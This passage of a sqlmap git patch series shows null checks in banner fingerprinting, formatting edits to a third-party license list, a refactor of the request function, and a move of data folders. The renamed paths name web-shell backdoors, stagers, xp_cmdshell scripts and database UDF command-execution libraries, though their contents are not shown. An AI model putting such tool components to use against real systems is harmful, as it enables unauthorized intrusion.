fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6ad8f53a606..508eebceafd 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -127,11 +127,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if banVer and re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if banVer and re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 29d35296a41..61a4e523943 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -47,8 +47,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index e7deefb17a5..f21c6b5ec2c 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -46,8 +46,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 9fc3dcc3ec3..40ec7291155 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -46,8 +46,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index ca0f11370d2..a97a27b01b5 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -48,8 +48,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() From ac3f2fd00f79f2660d7942ad5a3e6c2859198169 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 11:05:10 +0200 Subject: [PATCH 397/800] Update THIRD-PARTY.md --- doc/THIRD-PARTY.md | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 9c1718c3939..468e14c772c 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -2,22 +2,22 @@ This file lists bundled packages and their associated licensing terms. # BSD -* The Ansistrm library located under thirdparty/ansistrm/. +* The `Ansistrm` library located under `thirdparty/ansistrm/`. Copyright (C) 2010-2012, Vinay Sajip. -* The Beautiful Soup library located under thirdparty/beautifulsoup/. +* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. Copyright (C) 2004-2010, Leonard Richardson. -* The ClientForm library located under thirdparty/clientform/. +* The `ClientForm` library located under `thirdparty/clientform/`. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. -* The Colorama library located under thirdparty/colorama/. +* The `Colorama` library located under `thirdparty/colorama/`. Copyright (C) 2013, Jonathan Hartley. -* The Fcrypt library located under thirdparty/fcrypt/. +* The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The PrettyPrint library located under thirdparty/prettyprint/. +* The `PrettyPrint` library located under `thirdparty/prettyprint/`. Copyright (C) 2010, Chris Hall. -* The SocksiPy library located under thirdparty/socks/. +* The `SocksiPy` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` @@ -46,17 +46,17 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # LGPL -* The Chardet library located under thirdparty/chardet/. +* The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The Gprof2dot library located under thirdparty/gprof2dot/. +* The `Gprof2dot` library located under `thirdparty/gprof2dot/`. Copyright (C) 2008-2009, Jose Fonseca. -* The KeepAlive library located under thirdparty/keepalive/. +* The `KeepAlive` library located under `thirdparty/keepalive/`. Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipart/. +* The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. -* The XDot library located under thirdparty/xdot/. +* The `XDot` library located under `thirdparty/xdot/` Copyright (C) 2008, Jose Fonseca. -* The icmpsh tool located under extra/icmpsh/. +* The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` @@ -229,7 +229,7 @@ Library. # PSF -* The Magic library located under thirdparty/magic/. +* The `Magic` library located under `thirdparty/magic/`. Copyright (C) 2011, Adam Hupp. ```` @@ -274,13 +274,13 @@ be bound by the terms and conditions of this License Agreement. # MIT -* The bottle web framework library located under thirdparty/bottle/. +* The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2012, Marcel Hellkamp. -* The ordereddict library located under thirdparty/odict/. +* The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. -* The six Python 2 and 3 compatibility library located under thirdparty/six/. +* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2018, Benjamin Peterson. -* The Termcolor library located under thirdparty/termcolor/. +* The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. ```` @@ -307,7 +307,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Public domain -* The PyDes library located under thirdparty/pydes/. +* The `PyDes` library located under `thirdparty/pydes/`. Copyleft 2009, Todd Whiteman. -* The win_inet_pton library located under thirdparty/wininetpton/. +* The `win_inet_pton` library located under `thirdparty/wininetpton/`. Copyleft 2014, Ryan Vennell. From 82efb0ca79c002565907fe38962d8cfdf51ca937 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 10:58:47 +0200 Subject: [PATCH 398/800] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 36 +++++++++++++++++++++--------------- 2 files changed, 22 insertions(+), 16 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d3cd6bb2aaf..1744ef9641a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.128" +VERSION = "1.3.5.129" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ad854c0f8b3..0c4343f36c6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -236,23 +236,8 @@ def getPage(**kwargs): the target URL page content """ - start = time.time() - - if isinstance(conf.delay, (int, float)) and conf.delay > 0: - time.sleep(conf.delay) - if conf.offline: return None, None, None - elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: - if conf.murphyRate: - time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) - - return randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) - - threadData = getCurrentThreadData() - with kb.locks.request: - kb.requestCounter += 1 - threadData.lastRequestUID = kb.requestCounter url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) @@ -278,6 +263,27 @@ def getPage(**kwargs): finalCode = kwargs.get("finalCode", False) chunked = kwargs.get("chunked", False) or conf.chunked + start = time.time() + + if isinstance(conf.delay, (int, float)) and conf.delay > 0: + time.sleep(conf.delay) + + threadData = getCurrentThreadData() + with kb.locks.request: + kb.requestCounter += 1 + threadData.lastRequestUID = kb.requestCounter + + if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: + if conf.murphyRate: + time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) + + page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) + + threadData.lastPage = page + threadData.lastCode = code + + return page, headers, code + if multipart: post = multipart From ef7d4bb404b9bfe9b799a1491626cc7aab3fec91 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 12:01:39 +0200 Subject: [PATCH 399/800] Some refactoring (data) --- {procs => data/procs}/README.txt | 0 .../mssqlserver/activate_sp_oacreate.sql | 0 .../mssqlserver/configure_openrowset.sql | 0 .../mssqlserver/configure_xp_cmdshell.sql | 0 .../mssqlserver/create_new_xp_cmdshell.sql | 0 .../mssqlserver/disable_xp_cmdshell_2000.sql | 0 .../procs}/mssqlserver/dns_request.sql | 0 .../mssqlserver/enable_xp_cmdshell_2000.sql | 0 .../mssqlserver/run_statement_as_user.sql | 0 {procs => data/procs}/mysql/dns_request.sql | 0 .../procs}/mysql/write_file_limit.sql | 0 {procs => data/procs}/oracle/dns_request.sql | 0 .../procs}/postgresql/dns_request.sql | 0 {shell => data/shell}/README.txt | 0 {shell => data/shell}/backdoors/backdoor.asp_ | Bin .../shell}/backdoors/backdoor.aspx_ | Bin {shell => data/shell}/backdoors/backdoor.jsp_ | Bin {shell => data/shell}/backdoors/backdoor.php_ | Bin {shell => data/shell}/stagers/stager.asp_ | Bin {shell => data/shell}/stagers/stager.aspx_ | Bin {shell => data/shell}/stagers/stager.jsp_ | Bin {shell => data/shell}/stagers/stager.php_ | Bin {txt => data/txt}/common-columns.txt | 0 {txt => data/txt}/common-outputs.txt | 0 {txt => data/txt}/common-tables.txt | 0 {txt => data/txt}/keywords.txt | 0 {txt => data/txt}/smalldict.txt | 0 {txt => data/txt}/user-agents.txt | 0 txt/wordlist.zip => data/txt/wordlist.tx_ | Bin {udf => data/udf}/README.txt | 0 .../udf}/mysql/linux/32/lib_mysqludf_sys.so_ | Bin .../udf}/mysql/linux/64/lib_mysqludf_sys.so_ | Bin .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin {xml => data/xml}/banner/generic.xml | 0 {xml => data/xml}/banner/mssql.xml | 0 {xml => data/xml}/banner/mysql.xml | 0 {xml => data/xml}/banner/oracle.xml | 0 {xml => data/xml}/banner/postgresql.xml | 0 {xml => data/xml}/banner/server.xml | 0 {xml => data/xml}/banner/servlet-engine.xml | 0 {xml => data/xml}/banner/set-cookie.xml | 0 {xml => data/xml}/banner/sharepoint.xml | 0 {xml => data/xml}/banner/x-aspnet-version.xml | 0 {xml => data/xml}/banner/x-powered-by.xml | 0 {xml => data/xml}/boundaries.xml | 0 {xml => data/xml}/errors.xml | 0 {xml => data/xml}/livetests.xml | 0 {xml => data/xml}/payloads/boolean_blind.xml | 0 {xml => data/xml}/payloads/error_based.xml | 0 {xml => data/xml}/payloads/inline_query.xml | 0 .../xml}/payloads/stacked_queries.xml | 0 {xml => data/xml}/payloads/time_blind.xml | 0 {xml => data/xml}/payloads/union_query.xml | 0 {xml => data/xml}/queries.xml | 0 lib/core/common.py | 69 +++++++++++------- lib/core/settings.py | 5 +- lib/core/wordlist.py | 3 +- lib/utils/hash.py | 3 +- 79 files changed, 50 insertions(+), 30 deletions(-) rename {procs => data/procs}/README.txt (100%) rename {procs => data/procs}/mssqlserver/activate_sp_oacreate.sql (100%) rename {procs => data/procs}/mssqlserver/configure_openrowset.sql (100%) rename {procs => data/procs}/mssqlserver/configure_xp_cmdshell.sql (100%) rename {procs => data/procs}/mssqlserver/create_new_xp_cmdshell.sql (100%) rename {procs => data/procs}/mssqlserver/disable_xp_cmdshell_2000.sql (100%) rename {procs => data/procs}/mssqlserver/dns_request.sql (100%) rename {procs => data/procs}/mssqlserver/enable_xp_cmdshell_2000.sql (100%) rename {procs => data/procs}/mssqlserver/run_statement_as_user.sql (100%) rename {procs => data/procs}/mysql/dns_request.sql (100%) rename {procs => data/procs}/mysql/write_file_limit.sql (100%) rename {procs => data/procs}/oracle/dns_request.sql (100%) rename {procs => data/procs}/postgresql/dns_request.sql (100%) rename {shell => data/shell}/README.txt (100%) rename {shell => data/shell}/backdoors/backdoor.asp_ (100%) rename {shell => data/shell}/backdoors/backdoor.aspx_ (100%) rename {shell => data/shell}/backdoors/backdoor.jsp_ (100%) rename {shell => data/shell}/backdoors/backdoor.php_ (100%) rename {shell => data/shell}/stagers/stager.asp_ (100%) rename {shell => data/shell}/stagers/stager.aspx_ (100%) rename {shell => data/shell}/stagers/stager.jsp_ (100%) rename {shell => data/shell}/stagers/stager.php_ (100%) rename {txt => data/txt}/common-columns.txt (100%) rename {txt => data/txt}/common-outputs.txt (100%) rename {txt => data/txt}/common-tables.txt (100%) rename {txt => data/txt}/keywords.txt (100%) rename {txt => data/txt}/smalldict.txt (100%) rename {txt => data/txt}/user-agents.txt (100%) rename txt/wordlist.zip => data/txt/wordlist.tx_ (100%) rename {udf => data/udf}/README.txt (100%) rename {udf => data/udf}/mysql/linux/32/lib_mysqludf_sys.so_ (100%) rename {udf => data/udf}/mysql/linux/64/lib_mysqludf_sys.so_ (100%) rename {udf => data/udf}/mysql/windows/32/lib_mysqludf_sys.dll_ (100%) rename {udf => data/udf}/mysql/windows/64/lib_mysqludf_sys.dll_ (100%) rename {udf => data/udf}/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ (100%) rename {udf => data/udf}/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ (100%) rename {udf => data/udf}/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ (100%) rename {udf => data/udf}/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ (100%) rename {udf => data/udf}/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ (100%) rename {xml => data/xml}/banner/generic.xml (100%) rename {xml => data/xml}/banner/mssql.xml (100%) rename {xml => data/xml}/banner/mysql.xml (100%) rename {xml => data/xml}/banner/oracle.xml (100%) rename {xml => data/xml}/banner/postgresql.xml (100%) rename {xml => data/xml}/banner/server.xml (100%) rename {xml => data/xml}/banner/servlet-engine.xml (100%) rename {xml => data/xml}/banner/set-cookie.xml (100%) rename {xml => data/xml}/banner/sharepoint.xml (100%) rename {xml => data/xml}/banner/x-aspnet-version.xml (100%) rename {xml => data/xml}/banner/x-powered-by.xml (100%) rename {xml => data/xml}/boundaries.xml (100%) rename {xml => data/xml}/errors.xml (100%) rename {xml => data/xml}/livetests.xml (100%) rename {xml => data/xml}/payloads/boolean_blind.xml (100%) rename {xml => data/xml}/payloads/error_based.xml (100%) rename {xml => data/xml}/payloads/inline_query.xml (100%) rename {xml => data/xml}/payloads/stacked_queries.xml (100%) rename {xml => data/xml}/payloads/time_blind.xml (100%) rename {xml => data/xml}/payloads/union_query.xml (100%) rename {xml => data/xml}/queries.xml (100%) diff --git a/procs/README.txt b/data/procs/README.txt similarity index 100% rename from procs/README.txt rename to data/procs/README.txt diff --git a/procs/mssqlserver/activate_sp_oacreate.sql b/data/procs/mssqlserver/activate_sp_oacreate.sql similarity index 100% rename from procs/mssqlserver/activate_sp_oacreate.sql rename to data/procs/mssqlserver/activate_sp_oacreate.sql diff --git a/procs/mssqlserver/configure_openrowset.sql b/data/procs/mssqlserver/configure_openrowset.sql similarity index 100% rename from procs/mssqlserver/configure_openrowset.sql rename to data/procs/mssqlserver/configure_openrowset.sql diff --git a/procs/mssqlserver/configure_xp_cmdshell.sql b/data/procs/mssqlserver/configure_xp_cmdshell.sql similarity index 100% rename from procs/mssqlserver/configure_xp_cmdshell.sql rename to data/procs/mssqlserver/configure_xp_cmdshell.sql diff --git a/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql similarity index 100% rename from procs/mssqlserver/create_new_xp_cmdshell.sql rename to data/procs/mssqlserver/create_new_xp_cmdshell.sql diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/disable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql similarity index 100% rename from procs/mssqlserver/dns_request.sql rename to data/procs/mssqlserver/dns_request.sql diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/enable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql similarity index 100% rename from procs/mssqlserver/run_statement_as_user.sql rename to data/procs/mssqlserver/run_statement_as_user.sql diff --git a/procs/mysql/dns_request.sql b/data/procs/mysql/dns_request.sql similarity index 100% rename from procs/mysql/dns_request.sql rename to data/procs/mysql/dns_request.sql diff --git a/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql similarity index 100% rename from procs/mysql/write_file_limit.sql rename to data/procs/mysql/write_file_limit.sql diff --git a/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql similarity index 100% rename from procs/oracle/dns_request.sql rename to data/procs/oracle/dns_request.sql diff --git a/procs/postgresql/dns_request.sql b/data/procs/postgresql/dns_request.sql similarity index 100% rename from procs/postgresql/dns_request.sql rename to data/procs/postgresql/dns_request.sql diff --git a/shell/README.txt b/data/shell/README.txt similarity index 100% rename from shell/README.txt rename to data/shell/README.txt diff --git a/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ similarity index 100% rename from shell/backdoors/backdoor.asp_ rename to data/shell/backdoors/backdoor.asp_ diff --git a/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ similarity index 100% rename from shell/backdoors/backdoor.aspx_ rename to data/shell/backdoors/backdoor.aspx_ diff --git a/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ similarity index 100% rename from shell/backdoors/backdoor.jsp_ rename to data/shell/backdoors/backdoor.jsp_ diff --git a/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ similarity index 100% rename from shell/backdoors/backdoor.php_ rename to data/shell/backdoors/backdoor.php_ diff --git a/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ similarity index 100% rename from shell/stagers/stager.asp_ rename to data/shell/stagers/stager.asp_ diff --git a/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ similarity index 100% rename from shell/stagers/stager.aspx_ rename to data/shell/stagers/stager.aspx_ diff --git a/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ similarity index 100% rename from shell/stagers/stager.jsp_ rename to data/shell/stagers/stager.jsp_ diff --git a/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ similarity index 100% rename from shell/stagers/stager.php_ rename to data/shell/stagers/stager.php_ diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt similarity index 100% rename from txt/common-columns.txt rename to data/txt/common-columns.txt diff --git a/txt/common-outputs.txt b/data/txt/common-outputs.txt similarity index 100% rename from txt/common-outputs.txt rename to data/txt/common-outputs.txt diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt similarity index 100% rename from txt/common-tables.txt rename to data/txt/common-tables.txt diff --git a/txt/keywords.txt b/data/txt/keywords.txt similarity index 100% rename from txt/keywords.txt rename to data/txt/keywords.txt diff --git a/txt/smalldict.txt b/data/txt/smalldict.txt similarity index 100% rename from txt/smalldict.txt rename to data/txt/smalldict.txt diff --git a/txt/user-agents.txt b/data/txt/user-agents.txt similarity index 100% rename from txt/user-agents.txt rename to data/txt/user-agents.txt diff --git a/txt/wordlist.zip b/data/txt/wordlist.tx_ similarity index 100% rename from txt/wordlist.zip rename to data/txt/wordlist.tx_ diff --git a/udf/README.txt b/data/udf/README.txt similarity index 100% rename from udf/README.txt rename to data/udf/README.txt diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ similarity index 100% rename from udf/mysql/linux/32/lib_mysqludf_sys.so_ rename to data/udf/mysql/linux/32/lib_mysqludf_sys.so_ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ similarity index 100% rename from udf/mysql/linux/64/lib_mysqludf_sys.so_ rename to data/udf/mysql/linux/64/lib_mysqludf_sys.so_ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ similarity index 100% rename from udf/mysql/windows/32/lib_mysqludf_sys.dll_ rename to data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ similarity index 100% rename from udf/mysql/windows/64/lib_mysqludf_sys.dll_ rename to data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ diff --git a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ similarity index 100% rename from udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ rename to 